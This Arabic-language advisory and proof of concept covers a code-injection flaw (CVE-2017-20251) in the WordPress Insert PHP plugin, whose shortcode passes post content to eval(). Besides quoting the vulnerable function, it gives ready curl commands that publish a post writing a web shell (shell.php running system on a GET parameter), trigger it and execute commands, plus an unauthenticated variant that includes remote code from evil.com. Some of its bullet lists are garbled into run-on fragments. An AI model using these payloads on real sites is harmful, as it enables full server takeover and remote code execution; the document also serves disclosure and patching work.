
حقن كود PHP في إضافة Insert PHP Plugin
| الحقل | القيمة |
|---|
| معرف CVE | CVE-2017-20251 |
| الإضافة | Insert PHP (المعروفة الآن باسم Woody Code Snippets) |
| الإصدارات المتأثرة | < 3.3.1 (تم الاختبار على 1.3) |
| CWE | CWE-94 (حقن كود) |
| CVSS v3.1 | 9.8 (حرجة) |
| متجه CVSS | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| الإفصاح | عام (Exploit-DB 41308) |
تسمح إضافة Insert PHP قبل الإصدار 3.3.1 للمهاجمين عن بُعد بتنفيذ كود PHP عشوائي عبر ثغرة حقن الشورت كود. تقوم الإضافة بتسجيل شورت كود [insert_php]...[/insert_php] يقوم بتقييم المحتوى داخل وسوم الشورت كود مباشرة باستخدام دالة eval() في PHP دون أي تنقية أو تحقق.
يمكن للمهاجم الذي يمكنه إنشاء أو تعديل المنشورات (عبر REST API أو XML-RPC أو بصلاحية مساهم/مسؤول) حقن كود PHP عشوائي في أي صفحة أو منشور يعرض محتواها، مما يحقق تنفيذ كود عن بُعد كامل على خادم الويب.
توجد الثغرة في الدالة will_bontrager_insert_php() المسجلة كعامل تصفية the_content:
// File: insert-php/insert_php.php
function will_bontrager_insert_php($content) {
$will_bontrager_content = $content;
preg_match_all(
'!\[insert_php[^\]]*\](.*?)\[/insert_php[^\]]*\]!is',
$will_bontrager_content,
$will_bontrager_matches
);
$will_bontrager_nummatches = count($will_bontrager_matches[0]);
for ($will_bontrager_i = 0; $will_bontrager_i < $will_bontrager_nummatches; $will_bontrager_i++) {
ob_start();
eval($will_bontrager_matches[1][$will_bontrager_i]); // <-- VULNERABLE
$will_bontrager_replacement = ob_get_contents();
ob_clean();
ob_end_flush();
$will_bontrager_content = preg_replace(
'/'.preg_quote($will_bontrager_matches[0][$will_bontrager_i], '/').'/',
$will_bontrager_replacement,
$will_bontrager_content,
1
);
}
return $will_bontrager_content;
}
add_filter('the_content', 'will_bontrager_insert_php', 9);
المشكلات الرئيسية:
eval() دون أي تنقية[insert_php]the_contenteval() كود PHP عشوائي على الخادمالخطورة: حرجة
تنفيذ كود عن بُعد كامل (RCE) على خادم الويب:
curl -s -k -X POST "https://yorbit7.ddev.site/wp-json/wp/v2/posts" \
-H "Content-Type: application/json" \
-u "USERNAME:APPLICATION_PASSWORD" \
-d '{
"title": "Malicious Post",
"content": "[insert_php]file_put_contents(\"/var/www/html/shell.php\",\"<?php system(\\$_GET[\\\"cmd\\\"]); ?>\");[/insert_php]",
"status": "publish"
}'
curl -s -k "https://yorbit7.ddev.site/?p=POST_ID"
curl -s -k "https://yorbit7.ddev.site/shell.php?cmd=id"
# Create post
curl -s -k -X POST "https://yorbit7.ddev.site/wp-json/wp/v2/posts" \
-H "Content-Type: application/json" \
-u "USERNAME:APPLICATION_PASSWORD" \
-d '{"title":"RCE Test","content":"[insert_php]file_put_contents(\"/var/www/html/rce_poc.txt\",\"RCE-SUCCESS\");[/insert_php]","status":"publish"}'
# Trigger
curl -s -k "https://yorbit7.ddev.site/?p=POST_ID"
# Verify
cat /var/www/html/rce_poc.txt # Should output: RCE-SUCCESS
لإصدارات WordPress الأقدم حيث سمح REST API بإنشاء منشورات غير مُصادق عليها:
curl -s -k -X POST "/wp-json/wp/v2/posts/1234" \
-H "Host: target.com" \
-H "Content-Type: application/json" \
-d '{
"id": "1234ffff",
"title": "by Hacker",
"content": "[insert_php]include(\"http://evil.com/file.php\");[/insert_php]"
}'
عند معالجة الشورت كود الضعيف، يتم تنفيذ كود PHP داخل eval(). بالنسبة لاختبار ملف العلامة:
Request: إنشاء منشور بـ [insert_php]file_put_contents("marker.txt","SUCCESS");[/insert_php]
Response: تم إنشاء المنشور بنجاح
Request: GET /?p=POST_ID
Response: يتم عرض الصفحة، ينفذ كود PHP، يتم إنشاء marker.txt على الخادم
التحقق:
$ cat /var/www/html/marker.txt
SUCCESS
DISALLOW_UNFILTERED_HTML (رغم أن هذا لا يخفف المشكلة تمامًا)الإصدار المُصحح (3.3.1+) قام بما يلي:
[insert_php] إلى [wbcr_php_snippet]eval() المباشر لصالح سياق تنفيذ آمن